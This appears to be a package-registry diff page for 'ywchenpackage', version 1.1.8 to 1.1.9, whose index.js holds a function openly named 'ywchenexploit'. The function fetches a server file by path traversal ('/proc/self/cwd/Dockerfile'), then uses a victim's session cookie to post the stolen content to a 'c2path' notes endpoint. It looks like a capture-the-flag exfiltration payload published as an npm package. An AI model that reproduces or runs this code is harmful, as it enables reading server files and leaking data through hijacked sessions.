ywchenpackage 1.1.8 → 1.1.9
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +2 -2
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,5 +1,5 @@
|
|
1
1
|
function ywchenexploit(cookie) {
|
2
|
-
let stolenurl = "/api/notes?id
|
2
|
+
let stolenurl = "/api/notes?id=/proc/self/cwd/Dockerfile";
|
3
3
|
let c2path = "/api/notes";
|
4
4
|
fetch(stolenurl)
|
5
5
|
.then(
|
@@ -27,7 +27,7 @@ function ywchenexploit(cookie) {
|
|
27
27
|
"content-type": "application/json",
|
28
28
|
"cookie": "session="+cookie
|
29
29
|
},
|
30
|
-
body: JSON.stringify({"title":stolen.title+"_leak","content":stolen.content})
|
30
|
+
body: JSON.stringify({"title":stolen.title+"_leak","content":stolen.content.split("555 /app/notes")[1]})
|
31
31
|
}
|
32
32
|
);
|
33
33
|
}
|